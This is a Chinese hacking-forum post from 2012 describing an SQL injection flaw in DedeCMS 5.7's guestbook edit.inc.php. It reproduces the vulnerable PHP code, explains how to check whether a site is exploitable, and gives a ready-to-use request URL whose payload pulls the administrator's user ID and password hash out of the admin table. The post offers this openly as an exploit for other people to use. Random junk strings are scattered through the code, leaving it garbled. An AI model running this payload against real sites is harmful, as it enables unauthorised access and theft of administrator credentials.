找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3752|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7, O5 _9 K/ A* o

! o+ f2 {# m" n漏洞文件edit.inc.php具体代码:
7 a/ e% d4 T9 U: Q
2 I% d5 f# i1 `# W6 o9 H3 ]< ?php  
6 H& p- @. j' K/ k: E- E& a/ }3 y- ~8 o9 U* n
if(!defined('DEDEINC')) exit('Request Error!');  
; t( U9 Q' A( j: R( B- D' h
0 a. Z) A- q" w   
" n6 {6 I8 \, w3 H( e5 j1 E7 [& [  Y* L) C; F. P
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
$ i" I$ @% \5 q' H- G
  I0 U; C+ G! {$ s6 ielse $GUEST_BOOK_POS = "guestbook.php";  
) h1 E& s& C5 j$ x% p+ ^, h5 o% g, P/ H
   $ i6 A3 Q1 r! A, w

- E- Q' `! m: z1 {: e# A3 X2 B$id = intval($id);  
) }* ]) D  @( l3 X; Y
1 P, q, |- I! d. }9 ]if(empty($job)) $job='view';  
( C1 N1 L" u( \- a* `3 ^) c. S( R. F4 R+ x3 S
   8 j8 P5 u1 ?" f  N6 l! L

& }1 i0 |6 ^7 Z% {3 kif($job=='del' && $g_isadmin)  
: x# ?4 C. r+ J! d/ q, z! X, D: }1 I! |' |) b5 g
{  
% r# D. H0 R5 m0 P) s0 e& V3 t# [4 K6 d1 W+ i( ]
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  + R0 L' F* D- x3 d4 ?' O& q9 Q
) V# B4 I! y9 [  z* p; S, {0 |$ Y
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
& f- L# N  ?) ~5 p6 _( o
, N7 ^0 i; X; I1 n" `: I# sexit();  6 [& k/ {  B* Z8 W4 w! @

# L% y( n& q$ G3 _8 |' g}  ! }& c; @9 I6 x% x8 \

& P3 b) A# h+ I, f  Delse if($job=='check' && $g_isadmin)  - \- r# ~. U; O& A$ b+ P0 o
# W5 T! A' U; ?$ |# V6 O
{  / E) L2 ~; q$ y7 q
% Y; A! ~0 \3 G# E) b
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ' O& R( x' Q  d  G6 V' a* F* u/ Y
5 Y5 U! i# L8 R- D- {
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
& n# Y5 s' Z% W# V! \" P' B
+ N  V4 e; x1 W8 g' A; j% wexit();  . V4 R; J$ }$ g0 F+ i- B

8 V0 D; S- s6 F9 h, L7 N}  7 P0 S( V) p' Z: a* e

- e  Z# x9 I$ V1 @else if($job=='editok')  
+ n* }% [7 L7 A7 Z: Y7 l1 L. E
- B3 W. g0 d! @2 g% B$ ?, R' e{  8 o  d5 y; K) C4 h1 O/ F3 _6 S8 a0 l

' E+ ^7 F- @3 `6 E$remsg = trim($remsg);  
  S2 U6 F5 h$ v; I! D( p7 k* R6 H  \* \  w6 l$ j
if($remsg!='')  
8 E+ ^6 _) A$ x
7 }4 }( ?7 o" I& H) C/ f$ \{  $ Q2 W% c& j5 X$ U

) u. d6 m% h0 ?/ J" W- w. R# Y//管理员回复不过滤HTML By:Errorera blog:errs.cc  " @$ l: S$ ^. v) c' q4 ~/ s" ^
1 ]$ d+ ~. V4 I6 c9 [% F; ~0 ^
if($g_isadmin)  ' q$ v/ m  K+ b& B
; o! O) i/ d6 T: v+ q
{  : n  D% \9 m. o" c3 j

- S* _3 @4 e% x2 p& }$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
7 D) ]2 o! D0 U7 c& |6 ^& }+ Y9 F: k) t
//$remsg <br /><font color=red>管理员回复:</font> }  
0 C( Q7 A" J+ a# s4 V: l5 ~. u9 Z8 W" w. a
else
: H# Q/ C" I& v- N
6 w; J2 O1 X7 a; g{  3 l+ c) c+ q  o4 |" v

) p# S. f6 @' s0 v$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
# w7 q( r# n! N9 p5 v' e
+ S  p  M5 w( R  s6 A' n$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
) X7 k) p( s) i/ @( K3 }! M  w5 E( Q
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
; U" c! }" e" N/ U0 S/ }, B7 B; F: s- M
$msg = $oldmsg.$remsg;  
+ V% s; D# H1 W1 `
3 P1 ?. c7 X% R" I6 |/ ^}  7 `2 j* v% b0 T  P/ m
' o4 n3 F0 m+ e9 z
}  3 t* T: V' ^3 K

+ M. q4 N" v5 a) T/ L2 X1 w//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  % @+ P/ A8 t( t
) V& n' f$ {% n, ^6 {6 X# P4 i& {
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  $ p- r) n3 x5 h9 i5 n. d
  o4 ?  l  g0 B# C# A" D' U
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ! M+ n0 O$ h; z% H+ t) b

  Z" h4 p# `! J/ Yexit();  
% x9 @& O" p- j1 D# N$ z* W5 E) ]# T* x! _& f7 S
}  , F* P5 ]$ x0 x* s( Y

  B7 Q* X9 T2 R+ ~0 F//home:www.errs.cc  & v2 k+ j* u* _4 B% g& Z. Y* _

* U5 w. w/ F- yif($g_isadmin)  7 S/ ~6 k! W, F+ }' `# B

) U7 c9 V$ O  V% e, X$ H{  9 J! R% E# w% L- g8 _3 c' ~( }

2 b; G5 E9 J6 h: N8 z1 T) q# G$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
1 S) }3 U( n9 {  H/ i, S- ~/ i$ C! b% W3 {- ?0 }- o3 Q& N) K3 W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  9 l3 j8 ]3 Q) R2 `" W

2 _  r  m4 m' _4 u# K}  
' |2 I6 i) i; `; b$ k; R( ~( o4 S) O5 G$ v( x1 O+ G
else 4 }" t8 q* \1 z8 C. z, Q

: j* M2 \/ m7 V; o{  + ]. ]& B8 D4 K$ w; C: p

" @8 b0 _* V, ?3 Q( }, @$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  & G5 {' r0 H0 s$ t8 \5 c7 {" E

6 w6 Q/ j1 d: v6 I0 ?" ~9 q/ @# Yrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  ( F- Z1 K2 p& d, Z  Y
+ N/ Z2 t# ^/ q* K
} 漏洞成功需要条件:8 J" c" N  ~  Y6 m3 s
1. php magic_quotes_gpc=off4 U+ ]) b6 `$ n9 @6 N
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
" N) I. r8 @$ b# K$ q& |' V7 }8 V6 M1 V/ d
怎么判断是否存在漏洞:9 @) d4 L9 ~: H1 _
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,+ h* c8 k9 m1 ~0 t
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID: t: s/ `+ O6 f
访问:
5 E: D' ^, @* \- \! n& G' E/ a' m, ^: z, R& U8 k3 P0 E
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 o. E7 d2 y+ J5 s; a
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
0 ~6 ~3 J1 p- {
' M# L0 c  Y2 k1 e
) E: v1 y7 h: ]3 o5 j明漏洞无法利用应为他开启了 php magic_quotes_gpc=off% T% [" m: M& N2 P% r& j. F" T$ I1 I5 Q' I
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。9 a6 w7 u5 Y2 v; t( e
那么再次访问1 g$ ?  G0 _2 g' f

7 P- }; x2 A. R- P; v; |www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
+ D  q& ?0 g7 V" e+ H- Z/ O( P- F( I  j# v% r: z$ ?/ Z' `
大概利用就是这样,大家有兴趣的多研究下!!
( p$ W" |: ?8 a3 S* c- y2 s# y6 ]( O& {( e4 k7 s
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!2 a3 [2 r% r! f" o- @& |& `

' a2 H( ]5 W, |2 O- @& bview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表